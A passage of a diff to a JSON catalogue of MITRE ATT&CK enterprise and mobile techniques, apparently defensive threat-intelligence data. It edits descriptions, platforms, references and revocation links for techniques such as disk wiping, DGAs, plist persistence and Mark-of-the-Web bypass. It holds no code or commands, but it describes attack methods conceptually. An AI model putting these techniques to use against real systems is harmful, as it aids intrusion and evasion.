"62adb627-f647-498e-b4cc-41499361bacb", "value": "Access Calendar Entries - T1435" }, @@ -15202,15 +13694,7 @@ "https://www.fireeye.com/blog/threat-research/2014/08/ssl-vulnerabilities-who-listens-when-android-applications-talk.html" ] }, - "related": [ - { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "d731c21e-f27d-4756-b418-0e2aaabd6d63", "value": "Manipulate Device Communication - T1463" }, @@ -15233,37 +13717,10 @@ "uuid": "3911658a-6506-4deb-9ab4-595a51ae71ad", "value": "Commonly Used Port - T1436" }, - { - "description": "Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the mobile device, and often the results of those commands, will be embedded within the protocol traffic between the mobile device and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS.", - "meta": { - "external_id": "APP-29", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1437", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html" - ] - }, - "uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "value": "Application Layer Protocol - T1437" - }, { "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", "meta": { "external_id": "T1483", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html", "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf", @@ -15290,18 +13747,31 @@ "uuid": "54456690-84de-4538-9101-643e26437e09", "value": "Domain Generation Algorithms - T1483" }, + { + "description": "Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.", + "meta": { + "external_id": "APP-30", + "kill_chain": [ + "mitre-mobile-attack:command-and-control", + "mitre-mobile-attack:exfiltration" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1438", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html" + ] + }, + "related": [], + "uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "value": "Alternate Network Mediums - T1438" + }, { "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "meta": { "external_id": "T1493", - "kill_chain": [ - "mitre-attack:impact" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1493", "https://content.fireeye.com/apt/rpt-apt38", @@ -15356,12 +13826,6 @@ "description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)", "meta": { "external_id": "T1536", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "IaaS" - ], "refs": [ "https://attack.mitre.org/techniques/T1536", "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots", @@ -15420,25 +13884,6 @@ "uuid": "e49920b0-6c54-40c1-9571-73723653205f", "value": "Cloud Service Dashboard - T1538" }, - { - "description": "Adversaries may utilize standard operating system APIs to collect data from permission-backed data stores on a device, such as the calendar or contact list. These permissions need to be declared ahead of time. On Android, they must be included in the application’s manifest. On iOS, they must be included in the application’s `Info.plist` file. \n\n \n\nIn almost all cases, the user is required to grant access to the data store that the application is trying to access. In recent OS versions, vendors have introduced additional privacy controls for users, such as the ability to grant permission to an application only while the application is being actively used by the user. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access [Protected User Data](https://attack.mitre.org/techniques/T1636) without the user’s knowledge or approval. ", - "meta": { - "external_id": "APP-13", - "kill_chain": [ - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1636", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" - ] - }, - "uuid": "11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", - "value": "Protected User Data - T1636" - }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1379).\n\nRemovable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)", "meta": { @@ -15468,7 +13913,7 @@ "value": "Spearphishing for Information - T1397" }, { - "description": "Adversaries may transfer tools or other files from an external system onto a compromised device to facilitate follow-on actions. Files may be copied from an external adversary-controlled system through the command and control channel or through alternate protocols with another tool such as FTP.", + "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or onto the victim’s device.", "meta": { "external_id": "T1544", "kill_chain": [ @@ -15483,18 +13928,12 @@ ] }, "uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", - "value": "Ingress Tool Transfer - T1544" + "value": "Remote File Copy - T1544" }, { "description": "Test", "meta": { "external_id": "T1454", - "kill_chain": [ - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "Android" - ], "refs": [ "https://attack.mitre.org/techniques/T1454" ] @@ -15504,9 +13943,9 @@ "value": "Malicious SMS Message - T1454" }, { - "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images\n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency, specifically with the widespread usage of third-party advertising libraries.(Citation: Grace-Advertisement)(Citation: NowSecure-RemoteCode)", + "description": "As further described in [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Somewhat related, adversaries could also identify and exploit inadvertently present vulnerabilities. In many cases, it may be difficult to be certain whether exploitable functionality is due to malicious intent or simply inadvertent mistake.\n\nThird-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities. For example, security issues have previously been identified in third-party advertising libraries incorporated into apps.(Citation: NowSecure-RemoteCode)(Citation: Grace-Advertisement).", "meta": { - "external_id": "SPC-21", + "external_id": "APP-6", "kill_chain": [ "mitre-mobile-attack:initial-access" ], @@ -15517,28 +13956,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1474", "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-0.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-1.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-10.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-11.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-12.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-13.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-14.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-15.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-16.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-17.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-18.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-19.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-2.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-20.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-21.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-3.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-4.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-5.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-6.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-7.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-8.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-9.html", "https://www.csc2.ncsu.edu/faculty/xjiang4/pubs/WISEC12_ADRISK.pdf", "https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/" ] @@ -15562,15 +13979,7 @@ "https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html" ] }, - "related": [ - { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "8e27551a-5080-4148-a584-c64348212e4f", "value": "Delete Device Data - T1447" }, @@ -15590,15 +13999,7 @@ "https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google_Android_Security_2014_Report_Final.pdf" ] }, - "related": [ - { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", "value": "Carrier Billing Fraud - T1448" }, @@ -15640,14 +14041,6 @@ "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "meta": { "external_id": "T1494", - "kill_chain": [ - "mitre-attack:impact" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1494", "https://content.fireeye.com/apt/rpt-apt38", @@ -15674,7 +14067,15 @@ "https://attack.mitre.org/techniques/T1455" ] }, - "related": [], + "related": [ + { + "dest-uuid": "2d646840-f6f5-4619-a5a8-29c8316bbac5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "c91c304a-975d-4501-9789-0db1c57afd3f", "value": "Exploit Baseband Vulnerability - T1455" }, @@ -15762,44 +14163,10 @@ "uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "value": "Hijack Execution Flow - T1574" }, - { - "description": "Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the info.plist file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).\n\nFor example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the LSUIElement key in an application’s info.plist file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as LSEnvironment, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)", - "meta": { - "external_id": "T1647", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Command: Command Execution", - "File: File Modification", - "Process: Process Creation", - "Service: Service Creation" - ], - "mitre_platforms": [ - "macOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1647", - "https://fileinfo.com/extension/plist", - "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf", - "https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/osx_flashback.pdf" - ] - }, - "uuid": "7d20fff9-8751-404e-badd-ccd71bda0236", - "value": "Plist File Modification - T1647" - }, { "description": "Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)", "meta": { "external_id": "T1487", - "kill_chain": [ - "mitre-attack:impact" - ], - "mitre_platforms": [ - "Windows", - "macOS", - "Linux" - ], "refs": [ "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/", "https://attack.mitre.org/techniques/T1487", @@ -15825,14 +14192,6 @@ "description": "Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)", "meta": { "external_id": "T1488", - "kill_chain": [ - "mitre-attack:impact" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1488", "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", @@ -15877,7 +14236,6 @@ "Network" ], "refs": [ - "https://adsecurity.org/?p=2053", "https://attack.mitre.org/techniques/T1556", "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/", "https://technet.microsoft.com/en-us/library/dn487457.aspx", @@ -15903,15 +14261,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html" ] }, - "related": [ - { - "dest-uuid": "0cdd66ad-26ac-4338-a764-4972a1e17ee3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", "value": "Uninstall Malicious Application - T1576" }, @@ -15983,7 +14333,7 @@ "value": "Phishing for Information - T1598" }, { - "description": "Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.", + "description": "Adversaries may bridge network boundaries by compromising perimeter network devices. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.", "meta": { "external_id": "T1599", "kill_chain": [ @@ -15997,8 +14347,7 @@ "Network" ], "refs": [ - "https://attack.mitre.org/techniques/T1599", - "https://securelist.com/lazarus-threatneedle/100803/" + "https://attack.mitre.org/techniques/T1599" ] }, "uuid": "b8017880-4b1e-42de-ad10-ae7ac6705166", @@ -16030,16 +14379,49 @@ }, "related": [ { - "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "type": "subtechnique-of" } ], "uuid": "6636bc83-0611-45a6-b74f-1f3daf635b8e", "value": "At (Linux) - T1053.001" }, + { + "description": "Adversaries may abuse the at.exe utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows for scheduling tasks at a specified time and date. Using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. \n\nAn adversary may use at.exe in Windows environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).\n\nNote: The at.exe command line utility has been deprecated in current versions of Windows in favor of schtasks.", + "meta": { + "external_id": "T1053.002", + "kill_chain": [ + "mitre-attack:execution", + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation", + "Scheduled Job: Scheduled Job Creation" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1053/002", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events", + "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://technet.microsoft.com/library/dd315590.aspx", + "https://twitter.com/leoloobeek/status/939248813465853953" + ] + }, + "related": [ + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "type": "subtechnique-of" + } + ], + "uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", + "value": "At (Windows) - T1053.002" + }, { "description": "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)", "meta": { @@ -16057,7 +14439,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1553/005", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8", - "https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7", "https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316", "https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/", "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/" @@ -16167,7 +14548,7 @@ "value": "One-Way Communication - T1102.003" }, { - "description": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", + "description": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", "meta": { "external_id": "T1608.004", "kill_chain": [ @@ -16261,30 +14642,6 @@ "uuid": "b7dc639b-24cd-482d-a7f1-8897eda21023", "value": "SID-History Injection - T1134.005" }, - { - "description": "Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to a compromised system without receiving return output. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response. \n\n \n\nPopular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes 